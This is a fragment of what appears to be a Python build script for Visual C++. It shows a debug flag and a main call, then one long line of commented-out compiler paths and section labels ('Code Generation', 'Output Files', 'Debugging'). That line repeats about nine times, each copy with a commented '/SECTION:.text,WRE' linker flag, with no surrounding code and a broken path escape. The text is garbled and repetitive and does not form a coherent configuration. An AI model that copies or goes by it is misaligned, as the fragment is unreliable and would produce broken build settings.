        debug = True
    main(debug)
#VC_PATH = 'C:\\Program Files\\Microsoft Visual Studio 10.0\\VC' #SDK_PATH = 'C:\\Program Files\\Microsoft SDKs\\Windows\v7.0A' # --------------------------------------------------------------------- # --------------------------------------------------------------------- # --------------------------------------------------------------------- # --------------------------------------------------------------------- #ugly hack # Code Generation # Output Files # Debugging # Language # Miscellaneous # /SECTION:.text,WRE', # Code Generation # Output Files # Debugging # Language # Miscellaneous # /SECTION:.text,WRE', # Code Generation # Output Files # Debugging # Language # Miscellaneous # /SECTION:.text,WRE', # Code Generation # Output Files # Debugging # Language # Miscellaneous # /SECTION:.text,WRE', # Code Generation # Output Files # Debugging # Language # Miscellaneous # /SECTION:.text,WRE', # Code Generation # Output Files # Debugging # Language # Miscellaneous # /SECTION:.text,WRE', # Code Generation # Output Files # Debugging # Language # Miscellaneous # /SECTION:.text,WRE', # Code Generation # Output Files # Debugging # Language # Miscellaneous # /SECTION:.text,WRE', # Code Generation # Output Files # Debugging # Language # Miscellaneous